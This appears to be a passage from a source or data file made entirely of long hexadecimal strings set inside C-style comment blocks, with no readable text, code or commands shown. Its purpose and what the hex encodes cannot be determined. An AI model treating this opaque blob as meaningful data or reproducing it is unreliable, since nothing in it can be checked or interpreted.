da5ef19fd46c04fb16c7808d2ebab1f8ce43649b2fa2b3e25482cded163d2b0b2f3c77bf35b3bfa5faaae18436f38f01389295259883ecff67912faf5b1d37883c6f26af9797d2b5d2608bec167035fc5a166d61750f4459d36c738a9a129e1a8a9c92d71a4301735935d4d12cdfe2a474b3cbbc506269463c6595dda146111aa5d062d3554e5861b7c6e90da0773e5ba2cc4180229d43661c8bb9a437eb18e8319e8a0a9363c124cc5fa831c3dff0e08b82ecd3f6f259df2d20db8e4658e1aecb814816e4a62935d14da6c7c7e9df7896ec136c2f825a199e5e1b5363a8d35165d2d24f433fc37a1796fda4c1b97f4c6d359a8c612549b0b4c0860c4af0b0c183519a8b2d11bd73e8f23d28f04339ab0c8d6338e9a5fa62145b406ad21eb013755c11e07761e6e6dc5ee89ccca6e3119a5de17073fae9e5de092f0bf6ed7e1cc717b4c28ba11b1426b9500b137ee4aa81ae196c6a7f92c2e55a130a234a19b2c8d5aa5cea759cdbfc79d7b47c1017fa8900bd616c84fccc6e6c17a587ea8a069db05c8a0a9675a8db24a2cb02899fff83030af547b28072f3b2b668807e165c9a492f7414853ebea4c1d0552b5fd1e107bbbe3cc75b17e565a38d4d638946b061bd76d431da1251bc01d5f668a26b7f5ffce494b4a9bc4323a0425b3b0a8e96c87653c413483028712f8d1e3*/
/*9f861013c32f5439a61495481d7196f774d8259ddb7a6817e2476a23500ba9192b6b6e872ccef2c67344f5affaa0a30811f43cb61c61f9822cc701ff94aa131da42fcac8522f4c23774a36f2899f280f4ddce87f09b5fd7f6147a1c8336e3dd5537b5a19c55a6573addbdc54236f81fcdb4a6cbc5dcb2eabf31bec4a66417a9db755ca3e1fb2ce88f234070420cbbc0b8f39c62fdadbc46f28f747ae1b1896e73d3e8ed2a18664cf23e13033f6b22467b262a43ef6b738bceddf8c43ca070792f586650cf6fd53a8f0ff2872d1728b47e332d4ff0dfc576ff9767b7ce1bf91979af76de1eba1e0ae31bd9207552ec841bdc9bf43d6b6f155157b142780a62c25fdebda11d4ba22e9cd17ae233e3520c8ca9a8f02c08facade3187f7198dd7570a0af1e6f2a37c6f3f5c2b9448c05ca6b387deb42329cabf3807bdcc0ba7949d5e7be6a326881adb00f590fe4f223cc1ee75f4b3d8b511090879ca7986fffe1d573a6da103126dd414445a5fee644df4e9631ffc8f51a69b0eb7a3f634cae70562ffec1d293b0f6f6a21b5eb70da762e37831b7cdbc2e4ccd7218d5171cfd74dd8bcedc484e61bbe3e5b0b632f168dc85b08b579e857733070dc25ac836a29efeb23729c82bca5271ee7d960904f147f122f7a0b28ad49d7b751c517e6089235a83ab066e875c11fba6aabbc4d505a24da8225a604acae524db66153dc587c74baa666963579347d00e2e93b68dca8e8d5270571f640de0325158ca48493e5b1192abd6553171dd2f3aac8525750fe75318c80b58f320f62de3b852bf87ecdb59888171330716adbb2b3dd0dccf45e19e8a776229a9870919e549afc746262fcdbae36ed88fe00cec4d75c54f1213bdd09f0a2800fcdf1bae38c0b2bb0edb406e8a45c3a797c5954c86906af310540ba13c3a1689283bf923e949bce01e9b58d622aa9aaa244a6b3b26909097edae99f5856262aef128fb709960651243f738d9b0e82532be419d87ba3d84f588d6f0dd4b336029fb25e088ab4c534ce121bf7bef82cc7b21b71b6c94ed586eceaa1cf005e8220c4004bebd5a3692babdc052ec88b078b700db8da34201a0a215f3a85402f386be06ccc45303f7308324504367e4b3b221dd5f3f5b3b1e0b2fe8fc7e6785983b19317e9ac7806b059886ef7abb5a4a6f8258b19ce0df2c1d4232873fed5c6159ae6e8ab35623894079b20a703fb85efb9cbc8a0fbefcbdd62351af029f04e689bf642d2b7d9037b61dbc34f7858737cb88d91cb307ae5d5d61127d7cd51582c36c3743d7bdc65806af899b21bf5be267b4395a922444afb7ce0904a43d012b11e740d50586bb1b4e1748182c96449347dad5a6a45adde73e300de94d8bf912a6ffe23d6d0c280f677283638a474be67e192bffbcc18d76680b7a9647fc3f18c3b843417e4e937553788419eaa46d8c23a77907c0e57da5ba8456b0b92ce77802307e10b85c5173527e362228b2f2866129c9affade848c440e0433385d319e75df67eaa2a74e889824558de550638319924b1ccdf2dbc851bdb09da878bf1cee7801db6f6a4141625603c152b07aa746e500af6ad0109e4698614e92ca16b7ce4451e30818c61914df24ea69b8dfe3fcfe3cb3eeaba88a85d2f810a1632db7008fca801b0fbaee631e8085756749913e6b3e5be476d0ddd39bf20be43997c19983ef62905f0de40baf258bd87a37a5bb3bc0d07b27cace463c623333a6f7cb8a29fb50bbe69fc4ad7b657ff563f6b611168dc5dc1b327a570d87abea92875f4de696c9c3afd41ad1b7ecef75d5c8ad7b46091ff6f71ea0a330014bd86a678b47b3490c2b92f2748e2b9629f1c7894a2e9a7265c542a68ea0600c135d8b6b7aff2ce0bcde3390e3b89cd807c11236a5da4982e44f29491db860db5e769d5a2b528af1c6153c9ca98ed73a4535c7e14375e90324549e53db8510518ff6c15fd3bdf50aed5b971af7bf83114b7641a23f3d71fc4730b8d60c4c6c0fb805d642743944b29c74b5c2b0c71394503b1618fe828c30c3b38242c2b7d385bc727bf1f0f65276d6887b56c5fde5eff1d415299c1db4262febc115e466ef961f9184f8b60e3a14a0ded5ee0caadc5ef3d0da2801ec39b584872fe49451025c164d7fe9ac8506b5c6d1f96371f0e6dc8e632b40fef28b3fe3b820c167d3d354c39d8cc89e1b0b10d4cb74b251e432b90830b904faec7f08de4767fc659797c30b3b97fe339dc108b5ae58b18e3904b1e60c1b8b2cb4a8ab79b2e23462979e407131aed315587abd7083dd903e121c72c2ac8cb93c47205f646052cb6e0e197e325835b541bf3e83cee4a9429340d508b3c3f692572c9c4c2a12b3ede4d85f441a0dbdaba410088ad7134d81df7ab2f372a7478b03f8d11f6c4f9715ea1a50fc90133108ee68540bb52237fbf8aab7864621abede676c212da4b088dc53aada7c55aa4261e399d79c8234541f8e6231673508ae8dbc6b87dbcccd4ac97205e05560694b9022183dabb88f3a9d7ae73c838842026876957ae3c4e1950077a44810e82bf00038c41a4baa88c6fd60f376a1fa917c425dbb1b4eaa68807fa05077e5f62c8bb24eeb4d096bb42a1863304683445fc48281e7dd5548e4db3df81ab4caa439e23331f5baa66ae282d06c5ea346dd8005e4615e1af2f133fb7a0ef2aaf2c1067660173f72d4ad043d343f941df6ad0cfcc8862fdb2470f6ab73f0a0fd0909fdb88afa7432c6b82b73874613cc57361579d8a728aea8c076a1b30601c373194d15bd2d39cde9f0508cf72999e460ec6466dec9589184f2aa05f28354ddef17714*/
/*736d9981882a69d82a036fcf537051d944efa3012c3210121e19abc4876b6aa0071245ba1911e1ff4257742a9cd39e06db071958dfaffa7c8180891c2b8568dd85871c8a59ec44ac06dbef8aed0bdec81897a64e2f0d51100fd6cfa1118dce154c0ba20bdb88b97f3552cc9f29279a71004a3b92415d6b2c920af53eb71b5e503847add1d517204011f687b892dd1b049a9268ea9e013f33dbfbac8d6924e75bc4ec29bdca07ace35792fafc683f41fe83adc1a157bb85fabcb03b4ee808eafd3791b7ddd485b9191ed2a6fbe2a3099cbf1a0b8eabccab69e4637cd862b8332d48c1bcc6ff338d00842a65d7f6935953b1ab9f1734bb9e45c743227a15a0011fc530b31c0d8316af11b266c962da89dd69614732cd9f41d2121b8d1e1b328a93b5ce06c55365d0e6d877f3922d526fec0a404717a070cf18327beed61a19742360ec2109820182c6dd82c0ff21b750ddeeafa802c007d4b299090e5d77f30a36569d604334f74c19230e34b9c71fb229699afb729a3a1d5038e7e1d6a0a98f545750d4414882142bb2075f54893a388dc3493f598d884bf97efe1ed6bec5dd048b005603c205c6668bb9afae0d990048837f0cdfed0008404dba83a4da5a7ebfe1c78ce1be50fca456e3a1a629e44261a1e40b07376879356488fa5a055932941a2cea2a3b6f6fdf26b1c9a7eeccc3bd421e191403cbbcb65c78cebc4ea690d81d2a39e6f7cf6b101a0d828cacb533f173857b8b2cd5aff4831d099619951af6e699a469ec0e545755bbe5243e0067075e24b536c01c1ec7f3b431e0dd0a176bb01add3e79287ba07f655a134583f8212ce74c31028be989dfea82bf82bd51bd1b95b98446becabc6f95d3c37651b2bb2fad1b55e20d0a68d9855f61bd705aa3028ad4030bc933140a27bd419469c86b20dd8117a5b6c2e429a4ca7b22f0f856f1b6fbaf25e66fab2648e7f82acdeb2b7ba3ce62727505053e55cc4a6e138f12d8c247d69e89c15d4158de202e2863d94eaf7259c10c9651af2f1775dcf350383cbbc4b0665702e1fb8ee5d1e64106c9610f3745d04ce3b4189b61137d1c4477cb80e4d0d5cb207738c06143e9d2a0caa42e4cc816fa7ef0b62c06548424f1a185d6b49b0ca6d0111ca1683d488e51bcb2783a9c7246e602c9a2214b9871dacbe4e254a172b09dc7b8d0d705b8fa8f8301a70df55a64bfa16767a9390679e509ea289b8d001c1d16d64a7dde767a7fd6ae7f1ac24dff4cd91b239347e11ce4c2d360524c5dbb65025c111f49dc85a852a99c88b37301ced863a98e2ca971d19366a2871fcd63066e3387fd612ea0e9aba5e5d1581255ff8c0df33730f4e1283d0104241ab5941ea7039619656d6e150db33f6da3a3325ee4e1868d3096388cbe9bcb11aa1cf119d6beb3bb79a886f4c657ed42cdeb5c1ed96da3245ae2226cc6378034f6b6b16c90e2814b5c8e636b0940c4d48ecf7e6a5386415e1b79c901864d17eee03aa0a2dfe1cff5c602d563c1ec9aebe9e27c5795541ea2be5cf46999b3fbe8ab269a77e1cab95fc025abb9032c17d58ae3773042426b35593b7260b2f3c7f3f59dfc123b7d55ae0b5d4ef89c930ef8aea825f7c13c6860b3cd9e743338538d35cee1946372675139cd4af59898a9dac5909111c3eaae6639bd9e978cb11b60df91210873fd6ad7d13d14b9a403bf984eb966348eca29696c8ad23a2d61017b7a4a881dd587f877112a42165d1c7489518016ca35ee647d19a036636dfe93f26ce5fe9c2da575b3234946f6ad66eb469cc4360781813e293a4acbaba4fa7b998984138e045d76cc874af8196b634cd0ce5283d354fd9d8aa13d0abd8dda699ab96d6772961fc4576bee825d9ef13b0e407bb27087c443e436b6467321a86d5c29d9820ed4a6bb89cd98dbf819e5385a6beb030a5be4ba1e582d850b2ff7c62d9400b3dd9038194eb46fa3812a0b0042d3fced1ddcc7473af5eb5a9f9cf8c1a14b49ae2e0b7b83d0b6f9ae158d1406bc70c3ea712fd4d1369f6754f2ea8b854bec38aa8a2be14f24f84c4ac8f36ca9ae592ea8cf2da93769d6febd20c0c84b5db710786ecb60da4f61c6f07304a3ba7b6c6063994220df6a139ee14d212b7ab7435a9a0e271ed4f10304ecffabc8b11426a39e00703cd065be18505a4cc847116ddd15ce72f37c9dfbd34d144fb70cf9a098e1776cca0d58570b2eaf21141f9e081b45a191552acdf0ad6c462160977880e005a877270b787565c1f258b3fba0f24db2ee2d5896c52018e0843f316c27457b8896fd4f91a2258bd21268a1b0b2d45d4f0c9708138e8f9bb58a2688cca9435c8b7a93b51da627b95391c78ae6b4df2610859b46d9c6d90fe4dbdd86a27b6f08d7f48643884991b332395d72b3e8ef7b6bdf84183c4ef0015079cc538e3acf5e26977263cbe356383b95ee687f89dc14cdfa56f4374b5077c571c32f06af9909a6e150ede2ae3bd58d763e5229dbd94d11622f6029c7f039ecd37d42cbd096adffe45869a1a658f501db3ea54ae893404bd64a319465c7f3d23b64ffff1e48b267491eec5e8636b286a78fff64d33cc5b14b187c964c1c153684c017d4d2b7c8c3bda8f846f50f87d0442af3e446afb311efde8619f564581271135b36e7604a2af92f7bd899cc947b494b739e038c8f3d3e9e60d07d9c60203c07132465e268a5798e442cf8a2b1d717240316d755b59b7cf97a98a397072b6626139d93a03fb34d01c40b1cb9769265bdf6ee81d963675e856cd2649e84dd25d8cfa5092649952c0466a2d73176ebc15ff39cee0b23aa9ebecb0fc3216e42238b*/
/*a622f9f000a8431433a6fe84dbbf11a45a56f5221b0b4fe183acd05b0f9582bf6a9f8d6de5a7b4a8e361db5862ef752f86c0e4be4b121e65414e524a1495784a57e7e391898702ada4c1ec39574cf499fdc114f9a1a29ac173848356936aa5fab817cc262a8dba72f85137d08ae5a8c017fdfc7f93ca06278db372589d4a03dd391bf9fae435f3b467dd1c69bf1f13f2e0ff68b1924acebc26b45e34016bc315ea244c178221bdffbc8bd652b3cce56d9d4371c21fcd639e585b6b0eff4f83b9c06a6c25cf8742c476cd6763c0dcb2d58286dfcd2b3338f9cd869a2ff7bb8f9a2e511edf81b058143bf675bb2d20dbc376633ac9d99f01222b272d82ce345764b12541db142cdc21a16e6db56619df7e19a92b2dfa5d20cf9e5fde89356fa92a24af483c6191d5c7ae82c5513f5c024eaf806717ffb33396c4624edfac56ad7b7d99da4aa83c28a79147f47c1957d0013e8c77efbc23d40373bc336302f088988a95bed96ad6558c64ab276200b3e24fb6c1ffdb71aaa1897544b817cea9a0aa4b9316a427f37d548e9ca1c777d8faf3934ece4452e7d0f9199876a95a57bb3fd03cf821ea48ad1bb7d5b56e4a0f6c2d1263a2b3f3494c57a8a9942645c49bb0dd8548a2caab04b607a08f8ee367dce5263cfeb90874870eba597d0e59616bf44bb9adf1a72d651fd68514fe0838fa2f28a4319f31063e31be1724a71dcd921fc3729016ec71ad37702479662b612ab35b1883efe5e8d91d76436943e95702bc2d1655aa8e7ce408453c43ba19fa93107035ef3f94818c921499e6a07dc4617ff71358c7bae9a8d0ef11691bc1e2c9f9cb9ce96dcb673130942a98696ccd95e8fef9d654ba186ff718d7a067b64527f6b897b3cdb8230df5bb593b7e344ef4f672d7a8b4ce3f8dd73546370462bb61b37d342531b74bb2b40cca8863f129830dd70cecfe993bece1d1c61c64037a1696fa9e45e3aca418ac25d25021878530119293de04bd1ce9b2d3ebf89ab00c8ce873c8bcd94f3b05f930bbeafa4166e8b78a0de8cdb1e656fbb473dc3fea91db836b74a1cf91c4c76c8842d06019f3070c3fa81f8dd60ddc88a12949593af3dfed57efd87e529f4d566cb9e7f9a076170d40fdfa62182b0c6000b29503445354b411c400382ac4aab9d6e12118d0987ae1c287a43af71abeebe5791768d74349381e56b110dd9d3e3709a4e58249851a6296538519dc000701a979b8b578ce7201bbc28f03208f46efcd50fe549c93fbd07c24013cfea0531a34163548e0eb24a4de1e036a469ea68720498cd54e69add4e5aab4690ceee35f4edba26aec89b6b66f1c38483f8be442492430cdff4179ef17dcea0ac9a50983211ee5277a09b89bdf8237b096db1540c854a2c615d8669706fbe4c90c25d7555dcb6c1f0e7a191c87efc8c3620ec4493288ff0dbbbef9c1714ae5a99de12fa13f3ec23a7cfbf5c85699d60c15f88b9207f1f9c9d9adce422fe1052b74c1f685502d8e3c81438dd0d2634754d00656d0febbef58a8754553ce7fe50eccb951132237eb102430472077b5c75d5839b66d7ba1f875e88e5941f93bcdbd75ef23c988d6292e3f79bb4ea707f4fb33dd977af4010b2ae8ef06d4161608ea859fbcecdcdf915c03238e8ebdc309c0992a3234ea0d520db72e785b29a925e2f78fa106d45799a0e2c719bbef7f581769a8245b0332254dcb7515b489003fc743f964f74878cc5b6339de7ecb2e77972ab55f713462e6234f744a1a5673dc1bd777bf2dd035f953091311f97e22512a30e4dc5d268ce84c9df92f5771141e398388fbac23534150a6dd2a44f6c0d9cdc65b1992e8536a17ddd3a2e6eca30271fe53c951656592f63bec522cf8b7a2a26cf077cc3e381e772a5d6f045dda018cad7fa61bd8dcde4f026ae4a3f2d53db0954803533321c10705b8bd28bb24507d61ee2abc9282596fdca1dc63a18d40a508b643900fac0b0ada8f8f5289944650248a329c3864d9d7cf36b14482d9fea085654cd94ea8a8429caccf293ce34b53156a34c169cac4d6480d2c9862dc915ff6465c7280859fdcb72141f68f3f7f3db7aa936094ab4d52ec618a6b4a42b2ba8a7fa69bbddec40546e38b543dc503f58dc9dba444b81967b0d9cf7f59442edbc7830cd57fcc5169443afa14283d3333a139704263f2e0a8c0efb84e214bd3fc221e01e70b3831fda947f4d536dc31b15774960fdef6b0db7efea3e04a02fef5dccbc4e8207b6306b69ca100d2a1f407b654fc891b4532f25275076231ddb079f4e1a92d349d3d0e4a7134fd846f46ba6cc0edd65f11fc9a929c8a15138568893f2addc096626f178c1c47f1f278c06555f2d22fc1281193073b55d7ca2c01210e46820feca9c4d2baec821da4a73cd7399b480aaf620a68f899ea162d2e6906876799f111f912e0f6b9e4736d55b6ff94d504c37f81949ae644565be8ec41424959f31a96b61cc38692c98b89f36ba49afc4f5b8616e48688388f2cd5c554a1b3ba61cd07ca5d60e4fbd71116b509d27032a6984f7d651fde8ffe7d0f516bc21c907c15d302c1377100c719e179b9b033d92c4f8cc689ecbc3b384711c3b9782e21c6b17f769abcf5c7675d42457ed95537793c240492fb2d206b12c02612738da099c03319056ffc8803b80f1ef308f8fa31c00d21b4a8113ad03d19c941c9d1ae03cfbc8f00ac256dfcf31b54b9ad29608326060f80030840a606db963d9a301aa7da8eaadbd388afe462a2dac2f39ad1bf0576b03b73b478942a73560c77cf25ca4614b7ec8a69e12ada6d2bea474f91497fae2a01ac5b5d5fed*/
/*49d03bf74fa98f3c77f1439f1b6c8179243b8ed4408be8f2ef96d68000b8d7b57c4b2de7f4544cd4a06830771560040685b9fb3f49ab47cbedfdc1382eac5b46cb82d0cfa75e4c3f5442321146f0e0c2b90f2acfec2983280fb4fdf1cd2ec45de2048d957fe8b692c6ded255741fa2213895ca52172aa4567d618d3a33155c2470c0b95b98cf4b79011fc29e594d89747756b67f894adb61fe0281497e1250fd9ff3f0f427ce09df66fba01a68f4e6edaba8d39c10ff35fee4c11f57d741e3fe73cf9986d78e850ebb3f57afd2072f9ec7aa0b4db7a28ca47d8c23497f78fdcf3794f498694e831497dca99b9605e9444f3210773d5eff070b5c4f2d664604224a5b81248981e3e81ded3c49dd3dbdaa162f8f4b619130aadef7f8af2084f1b2af4ce79978ef4b8265374f21f35c4e154a588642bc61618a2a988b4ec09cdbe9dcf955cece9f5c800a54f3b2945cdf5078fe5a955207251c8e283894fc14ba4ab260e449942eece95a7bd48f5c6286369dd2b1f9594f015507cce6a50a3f83b133dda05b89201f786a85a5aee08099efd6cf7ad9d4a81a3024a14be97cd76269e6f9f43139ce96c2de9f37cd6b834c2054ced80c27e30673033adb0307c10d9fd679c14d55f71768e1dc18dfe348a1b90205508bf13c1eed8600ecb97eb186fd6d4768c9305baf695021601d5d0e0bc180be5985dfb88c53a8bff6069cb5eb82eb08d44809de3814fbde9505bce69d43c3b13d2fbac21fbeba8a19f6e26a6c2bbc6ca19362d9b093e2e0ce3c0555d7f52b6faca29db1c3087d2f3f06276271ad268193f9691fb24322e8f228a89581285cedc1cddfec67067c04f1edb3f7daa1874afa931d0f93a0b08cb123e8aa49a462d0a0debf7ffeb7de9cec8c060a4c30d58124038b8955e5bf70afe8f0e484472e33b9e4acec55b7fdcd1c3f3fd15db28734dcc4e5329a99d6893716588eaf1ef8fa9c21f68cbcfead910de0970fcaf1eb71b28379cb5323cf2867181635d7e0f32a3a81704ca8e8b62fb159bbf7b37a5978db5b1f6d71f0fb64803950f786cbd6ac0b74c4bef687da59edf37da7f65a91dbff637318377101f4c2c4d1578b17232754127e0d2f36c87923914a123b64a9a6a6221eaf3efa1d1eb1a89359d8f124e426cbf9f87281d8ac1e1f774cd3d2c2cb5224462ad54b13e8fb761bd6e7c55df3ce3527129fd8b02cc6db58974fa0189d18f236173c0f61ce6383b827bf3eaf65720caea3724a97c6727c6fa71d96cb70e562cac6c2d096dd5cc76d68d00c60ddc05c05b6544d2aab30422ef4110de0a6afb3939661f72006ad7ae1e7d0df32f026242e2dde3484cd450d547ee8bfbc2d806155e1becb4ea98940b335c1f5c5639f265b11c9b9710dc4dadd826c3e46fd62bd23d70051e7208c3682bcec3383fd08a5f8747befd2dcfce4153f6cf06db6729ed3868318f402c453a276b390f90bef583143c1c56660ac7072f7d95b071cc93a5da476fd6a9189f0fa3629725d6213d4fa594e6c2bb4681e58d75c13b0574c0e61de00082d89d0e6747ea1405d4b7dd5a17a59b9b46a799fa37f49b52a06e351a301676a60cdd6b627443b1d9de660d6c3861fc5c0b971a7a765ba9490695c55fc0b026912423d3b85367af2f82fdc3a3dacdf3ebe5d0b00ed14ef5b1087f05038d97ceaca5cbc94bf2de3516bafd0e57ed9d2f2637f4760ba2cec6a1f8d9fc281dd17dcd6b00eba9884dc1d3aaf04cc8d8db5a61732fcb0d1037567a922ea4f8b131a51b27f9fe5f6301b7ed59fafd5c97b8b014f20b7cc094fc6ae1d5737d45960f84d8fb5b6367f23019739de82a709faf09356cf952a4161f4ba4c44c52b52a4eb33e41f908f08be6ba7e97680b2483429cd9b861268fdfe1ee214b479518b787abe2303c4525b39bc59333b8e5090394ff70b0c83346bae3b55a9e2c3b85497c9a3c6b920e8794b23be4ad677e172b0e4c7e40037d7487b8c58096efd1dd94cef9d662e67641089dfd5afec99b4fdf31e1f2f531e6da5cbc9758d4d3619775f0080bc60ef9c7f222dfcacf6aef8a33e7f501232760a6dc6305b0364738014ccaabe62a5cd2012f136ddbe7585b4734683efd7eb81d637904e7414367f6b4ed3048f2ee4e17a21877335afff62904fc068ac35fff22672205c49b6dd1af47673051174386f7a86d642ffc2001cdd25257d5a0aadf18d3b23b917b251552df703d4d09dbb3cba3020c63045ac2ce754310102f2560840e1ddb7d0623cfbad5c6516c8782bc5ce7606fe5c39d239e573d49ed37ecc82adc52d16c2c1391fb175e7fd4cef46d9f344f75c35230966dc23a7382e96a5786f0f41b2674aa90cc97c4a3d25418e4f1b22c673fc2298461bccf14a444ccf86c54fcab4fce9669bcff1193e54983ca623a4e8f5f6d1112c71428ef9bc322a0d0bed0ff7a37adc381424c52bd8b7719462d33ac0a1cca1dbdabaad6169954a8d0e563356cf6c4b02b67655ccc2ea1e749272b80e05ada810d6c5e4bed54dcf59acd675d8c47f90242e7e3096fee1e3f6d5307e67f220758d202887d8b440c7faaac3550aedb3049256dd72d6e20b0dac1b33895d9d238269c3e1de17915ce2ed60ff47d85db6646d624fca8a5241228202c13b02deea02e5a65e867879a8d4980359eec1182ea47d5bbe09427f2c2a67720d67a909c1d97314a36d55f307d7294b7acdda59908de82de043643692c37f1c6a83b830a37b4583b7a97fe159333f69cc9c9a564d0d182ba63f27b40f2316fefdd326c3c4766eb14b259a083e2007f0a7e3d1b08ba0e716d7ac7785b45984e955f2495a*/
/*780dbdc345fdcc97220ab4fd595656bbb5c932b23cb8bc5d2505d0d10d7cf5b9ea20ada93d1516f8881905a4c09caaf8659148dde5cdd2aa0834c0f1dc4c4f97ac52b7477b20fbe4c9b741741da355b4bdf9daa2a82cd7f69e184a78c401062382ed19b6686ddebbfec03835f7b59119df98c9b59a49ebb0fb27a5e685a6918bc967447fd490c569d9fa4b3fe0f64a3de331909a19545bd187b9cb8729a509704b4b17f2ef8a33f8d2570ea964cdb7cc08f1f45ccb915fb5cf98982d5bbfebbddc3081810e88bf5fdaa06fcf306dcd95abe16cd33f70a4f31d8637d4d93bb692b2062d75cbc8fe7b96b8b83ef3bbc01ed3c2d52ae1393cf83bb8c65b5605a93a90b40ce99389f32ac9d3a4f71fd7c35404c19594e72ce453eece6d741d04a6139941a67cfbf2ff3eae6d97e81cf22df5b5efc7a785dba91703a11f5f31c3bf06f8b66cbc6d5b7497278f0242ebb6648a88e6a499664b10a308379186f01649108143f73c49af2cdf192cca7ee74ee7bd2f1778f0ca4bf9ff04406cbbfce8385e206df0c35b2fc90675c252e725b9c90c8ff8b2f69f037512bf1a16f73d9ee6e74a9eab72597f291df65172df75a9076fef60e284acbb907cdae2fa13a76faa6bb13a18a1920818aad206e3835599711dad058023a83f9d2ddf2efd5f9b5304526cba258e51e47e4f3132f7a292ca484da812d3fb04ea98abb43aff1b70d08ad83c424bceb5d563f76d2a6311fe9c59140ecd7d3e20cd16dc01e7f7278da903fe0f4204ef072098ac09e21b1ad273dc0a460464bb747b1ed151f1c2ea08948b1a67803c8a25d7516f0f15a238eddd15096c5da5ea555634a972d23942366e46d8504c49e4e3c65fe35555c3f5dd6c6bb635f3064e2f1abf69f9062b3ab00cf8b818b058342074932be0df72dabef4771c5f36815f32bdd3b7b37e2b9e6bc110f74113226482be9911445c8f85cc15a3500685cc14c85a1ae75d2dee190dabd9cd6fbe23d2f6b7a05753687e8e21e2e3a58e0af8280d8a664ee3ffcf4df5426ade4ae5a70cde0c7884f499742c687444c5ea139131e62374fed30c605a4d262274da180f7ebb8bf01669a82dae89c4e628749e76f042092bb23151df6d3195110cb84c94782c007549ded47969203678a8444d264b3558227629681e5c8a390f88ffcec386b92881c9559c54e828b41882e1c4193d80f6b6fc411531c9f3e125f525b80beda23e7983ae883c97502adc3f58e6019b11df335e747fc2affbc7991766f0b33c7536056cb69352ad6dffecae1a0a6b0825c225dfcfc508dded2ae589d2275aa9dfdd141c56f1373350bfd38ea2da22c3baea9e142a000c4d7d06d4c9f3f64ce156076b874b164836751eed631ce454d4a4a9ec84023738839e39a1ec5914047e2ed1ac3d19ba3ced06e502286f4c56f0876f53d320fe0ee7bfb16f47260502b2a124cd152081ca745ff883a59c547eddba3e1f5fcae6a0a6f88c3bee589bb63254e82f4cc17201548b31332e8e2a9cb92d958238c572da026925d42077b04eb5c5f8a64ff088c80ec81494452405c1cf755f8a7ccd3904784481922c5fe922beca29f24ade91e62722f1e929322f54429728b91474343d19ad7c54359d34765d0559228d9ef448c9299d95d0161026c60e81b58f476701efcea6ebf3f2e0dcf9965078c01aa5e68559b76f9e42144543b2a58f296ef5bf6285664b35a834b66b395521dea4aa83bd037ceb465ae52aa0600ea686f7e419e0eec8636264af4ac4d7d09ea3edeb14be8ef32d40d4ccf0aadf57fd0bdff41ee85cd1e10c4b41e9d5f9cf3e5c3464e10b00388f27c47e6942e303804e60af2c101f09a3d8874265da04ebb59bc067dd79f3da869930d063fe4a7bae879276b229dbad9fddcd30a860757acf8f11b0817e3e6aacbbbd66cb8c2e9cd927d7246e07c8489abb82e4eee16995082f55659de85d81305a789ef0bc7f1b1ed4ba13bba9fcc00ae2283c865afed135c6824ac96d6e4729130fea8c24196b0aa7de96e4217e10b183bbd3d7d78cc4303933bf7bb6aab7ad13c2e67980f0adc5aa9c9ef6d0864e56623a683c70d3c52768e895ef3b3a8d01e56a1577eec8d7eeaad26ed656ec5013d1e2d88fc598ef4fb0b896fd06e8aad30fa58ce60359fec6e0ee18e90f8564d5117d13ddea21fca989b6633fa3f1259e396d2f0ae7d5070973ad0c0456475bab71a09195d5b572fd95828be0e9bcbe840e6a963cb4ded073a890a1e4e1938f34e1a61d0d371b2934d5be0a0ada7f604ee2e49ba3386b177993ff98bbdd01de2adb54d0a2d85e4dcf458d025741286e8c732ce14d9b55289a7484c8ac9cd2af0f428c82258b071bfdf45d53a66fc76fed14424aef3a2cd0116ba055df5d26905967420b51e00ff1c4a403f73d9044ca9b0fa42a6f871fb9f3274034d3e831ac1b366774871270307d597b99750f665c63f42d8ada0dc74eb78384a9abe61d164ae66c4588863b862f03d39d78b48f6b4a0a3b99110d0046185028d73a73fd179fe78d9e6d965a21167e62469d0c56188932bdd3cb2c8a5f38ae2651763b30c3b80b8a39e15fe4e533b3cb7ce214667a422fa3d268cc7c1072de01448625338edb05a57b18bf5dba561c1ba6cbdf701e06b8a335cfc1b6ae5beefbd65b349468220fa7fec3f188e98563309efda46b2c7aba5ee7cc184b4ec80725a616e6b7477497ac91571f094825f234af2221dd3081979c8a53894b9327d27ada91a30b3a8554b3ad6bd99d31181adc94ab3fdac59e7cc4ef948a16a38b61405f344afe336bec40be1fcdd98b0817b03b35ac83f4133d*/
/*53fdb3f14263ab6fccdb73e4b73426aee8933871d8a6afd48402666a064326d56669b26795cf64ee6f7a557ac03f51d8af14ecc446e63aa7be52b8c239dd20fd831a0035063aa9598d23632750f1e759c1c73e17c8798450e648a520d5ee824145a6aac4cf1020a63493ff74a972cbf9eb8d488181ecf41354234ce2db71b79c2858d264ed86c8adbff24e0c9d086e990de15b9bc9aa47fe395af954817af6331110bcf8a370fc6ca2d55868febf2d42c886ee2835518d8d77d329afdb91e0c7cccf4b9309d273fd97617de41614073170b86132f8d74f2b043942bf7ea2b69bc6d971d5d80da49e7b44bb17898699b297b837d63946c15e0037ad4eafb19adc6b7f0d318cb11ad29c96b0824985d0274f25b736af88669727578a6987337e912ab7f5bedaa86ea466a96fab0c27360819d0aef5e56dc15ef231a1f227ee5c5c3ed29276261d4b909642c44409014b242d9a77a80f09809bcfcca5912d185801cec9a24265464783d198961a0865871f6082432fe384cfa9894e171579f5047a4717c9df541407ca2ed2ab963e679c29118d7f8ae66922c11db804c656064bea2a78a3e31a65cd24639095756840b3c11bdc5a75d65a371907459977fa1f8677930ed37e6e2b2252b00fcfa0d719990fd61de6b4464a8076211e0ee7ce30ea83ed35c354e4aac52f034b8e95e2cdc2dcf6535913b490970d66cbff23152dbc10b7c8a89887ccd4cda1ab8cb78d551bc80fc56f7702bd5c0ece4bd6542228a94ac3a3ef7cf73daf4036c97fb9e41e664fd99aa4cdd2e61852cfe3723640600ef4dc0a9cbf40f8800a6e333fa65eb57107d6a5aa5e8cec9c3be16f0b3ca95c98acb1e388b784068694c92dad6628fc98c4312a4efc1c3d016b532d9da6cfa994a7697539ae813c16ff14f854587600651422bc4a175574880bc437bf9e9dc7b93ffb7b9a388f411fc98470efb5196dc8e1675b10fa3a1fb8ec69e5d8cd751ff21477ba759a1aa792bc4b14599f164de50303403fc7dfacc93ddcca8af8c2d54d861c6229a22e35fc7bf5d1e960679a7a0014a3506ecf54c033da464dc55ebf1cb73843ab5e1bd8edeb2fe6ebf831bcd6b7e0a26636f3468347dff5106c4c40a702f3fb5ccdcb63fa8cc2ef17c4bcd1f74f411be83694469c33d426c119f81360e8d4dcf587ecfe6c0825bf2523590cd65c83688836c88ab9d2dad24579b540368cde60ed2e2ec29fbdfc094d52956446bcdbcb156970ae427f2fa832b288a002bafda94f8322c7867c794d3fda7a844b33668402947558dd4578637130e260307497930b390a6d05c7b6d621927ef820aaad7fdb30bb6